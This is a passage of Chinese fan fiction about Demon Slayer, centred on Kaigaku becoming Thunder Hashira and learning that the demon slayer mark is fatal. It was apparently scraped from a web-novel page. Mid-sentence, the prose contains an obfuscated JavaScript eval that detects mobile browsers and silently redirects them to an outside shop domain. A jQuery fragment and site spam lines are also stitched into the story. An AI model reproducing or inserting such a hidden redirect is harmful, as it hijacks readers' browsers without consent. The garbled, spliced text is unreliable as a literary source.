桑岛慈悟郎安静地注视着他的弟子。
他的弟子的目光里有畅快,有炫耀,好像在如今的“鸣柱大人”的背景音里终于一扫以前的憋屈和伤痛,扬眉吐气。
他的弟子,他的骄傲。
不管有没有这个鸣柱,桑岛慈悟郎从来都不觉得他的任何一个弟子让他丢脸过。
稻玉狯岳本就是他的骄傲。
只是这声骄傲来得太迟,变得已经不合时宜,就好像过了季的衣服,期待和回应也早早错频。
桑岛慈悟郎身后,我妻善逸已经死死捂住自己的嘴控制着自己不要破坏气氛,但是闪闪发亮目光已经强烈到没有一个人能忽视。
爷爷!爷爷快说话啊爷爷!说点什么啊——
我妻善逸急得没边,灶门炭治郎也急,他左看看右看看所有人都在看这边,他能闻到四面八方传来的代表正向情绪的味道,但是狯岳看的是桑岛先生,而桑岛先生——
桑岛先生怎么还不说话!
这下灶门炭治郎也忍不住抬手把自己嘴捂上了。
不要出声干扰气氛——但是好急!好急!
说点什么啊桑岛先生!!!
“狯岳。”
桑岛慈悟郎终于开口了,他脑海中闪烁过当年孤身一人来向他拜师的狯岳、前往最终选拔的狯岳、换上鸣柱装束的狯岳……
他知道,他一直知道。
“你值得这个鸣柱之职,比善逸更适合,比任何人都适合,你早已不止是老夫的骄傲……也不止是桃山的骄傲,雷一门、雷之呼吸……鬼杀队,你的价值从不局限于我的评价,狯岳。”
我妻善逸:……好耶!爷爷夸得好耶!!!
稻玉狯岳沉默了一会,他反刍了两遍这段话,高高扬起了眉:“就这?没了?”
不够。
稻玉狯岳说了不够那就是还嫌不够。
桑岛慈悟郎继续夸。
稻玉狯岳:“跟我妻善逸比呢?彼岸的时候不是还挺爷孙情深的?”
我妻善逸:“?”
我这辈子还有机会得到大哥谅解吗……?
桑岛慈悟郎一点卡壳都没有:“善逸那臭小子一个人能掀什么浪。”
稻玉狯岳勉强偃旗息鼓,别过了头。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
这边结束,锖兔率先出声:“恭喜。这次总算能补上这声恭喜了。”
稻玉狯岳换了个人怼:“我应得的。什么叫补上?”
“斑纹啊。”
锖兔低声抱怨:“高兴都不让你多高兴一会。”
他当时听到狯岳成柱的时候有多高兴后面就有多憋屈,满肚子的话被一句折寿统统打回了原型,连安慰都不知道该怎么开口才好。
稻玉狯岳不以为意:“啧,干什么哪壶不开提哪壶。”
斑纹那之后不是克服了吗,纠结来纠结去的。
“趁现在给我好好送上恭贺啊。”
他皱着眉盯锖兔,后者眨了眨眼睛。
锖兔转移了视线。
男子汉大丈夫遇事不逃避是正理,但是看着狯岳一脸“叫我鸣柱大人”的表情就突然喊不出来了。
狯岳不满:“喂。”
锖兔:“咳,狯岳,看荧幕。”
别以为我不知道你打个什么算盘不就是想拖字诀——
稻玉狯岳腹诽着看向荧幕。
——荧幕里是呆愣住的他自己。
【“……唉?”
乍然听到「鸣柱」这个词汇,狯岳愣了好久,视线迟钝地看向笑着的天音,才终于确定说的就是他。
下意识开口,疑惑却还没有来得及咽下去。
于是他呆滞地、茫然地“唉”了一声。
狯岳:“?!”】
稻玉狯岳:“。”
荧幕内外瞬间心声同步。
蠢透了。
【『这种蠢爆了的声音是我发出来的?!』
狯岳的手又一次在膝上抓紧了。
『刚才在说什么来着、斑纹?炼狱杏寿郎和时透无一郎不是已经补充差不多了——』
稻玉狯岳认真开始想了。
『第一次的开启难度最高,在那之后再次开启会更容易——这个不能说,在他们眼里我也是只开了一次的。』
『对身体的筛选……不一定。决心?没有那东西。危机感?当时确实快死了,但是更多的是——』
“……”狯岳听到自己的声音,“心态。”
蝴蝶忍:
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
“心态?
“……和上弦之贰的战斗根本不能算在其内,真的面临和强者死战时心态会改变。童磨那种来旅游一样的随意态度,能让人开得了斑纹才奇怪。
『这样回答算通过了吧?』他不确定地想。
炼狱杏寿郎看着狯岳,露出赞许的笑。
甘露寺蜜璃恍然大悟:“原来是这样!
狯岳如愿地感觉到没有人再看他了,绷紧的后背稍微松懈了一些,轻轻松出一口气。
『我成柱了。』
嘴角忍不住轻轻上扬。
星星点点的快乐似乎从眼前的世界浮现出来,伸手就能够得到。
富冈义勇似乎又说了什么话惹起了风蛇二柱的怒意,稻玉狯岳没有去关心,他还沉浸在难得的喜悦里。
产屋敷天音却开口了。
“有关斑纹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793658|192257||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一事,还有一事无论如何都要告知诸位——斑纹有着致命的缺陷。
她微微躬身:“鬼杀队有明文记载言,历代剑士凡是开启斑纹者,无一人可以活过二十五岁。
屋内骤然一静。
『……什、么……?』
狯岳一点点睁大了眼睛。
他视野里的产屋敷天音从躬身状态起身,细细讲解着斑纹的记载,光线却在逐渐变暗,世界蒙上一层细细的黑砂,连带着声音都开始模糊不可辨。
有人开口,稻玉狯岳的视线就会投过去,一卡一卡地接收着信息。
产屋敷天音:“因此,我们由衷希望,各位可以谨慎思考后再做出决定……
悲鸣屿行冥:“…到时候我会变成如何呢……真让人期待。
灶门炭治郎:“大家不应该是这个结局……!
炼狱杏寿郎:“有那般强度的增幅,哪怕用寿命来换也十分值得!
宇髓天元:“二十五吗……
甘露寺蜜璃:“我现在更强了,请不必担心!能和大家在一起的话,我觉得没关系哦!
时透无一郎:“我应该是这里面最不该担心这个的吧。
灶门炭治郎:“我也一样!一定、一定要将鬼舞辻无惨消灭,为此可以付出一切代价!
『没有。』
稻玉狯岳迟钝地将目光从最
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
后一个发言的灶门炭治郎身上转移回来。
『没有想看到的表态。』
『…………不,他们都表态了。』
『是我表不了态。』
狯岳明白了。
『只有我在——』
舌尖猛地被牙咬出血来,猩甜铁锈味和尖锐的疼痛拉住最后摇摇欲坠的理智。
不死川实弥和伊黑小芭内还有富冈义勇好像又各自说了些什么话,现在轮到蝴蝶忍,可是在说什么稻玉狯岳已经无暇关注了。
要轮到他了。
等他们全部说完,就又要轮到他了。
『……稻玉狯岳。
在这里坐着的,都是鬼杀队重要的核心,你绝对不能……绝对不能、在此刻、此地、在这些人面前,说出任何消极逃避之语。
绝对不能……』
狯岳对上产屋敷天音的眼睛,他的目光在挣扎过后压下去情绪,即使口腔里满是血腥味,在面上也没有露出太大的异样。
“我……无所谓。”
灶门炭治郎极快地看了一眼狯岳。
“……万分感谢。”
产屋敷天音动容,和两个孩子一同躬身,引得众柱立刻叩首。
包括稻玉狯岳在内。
柱合会议到此结束。】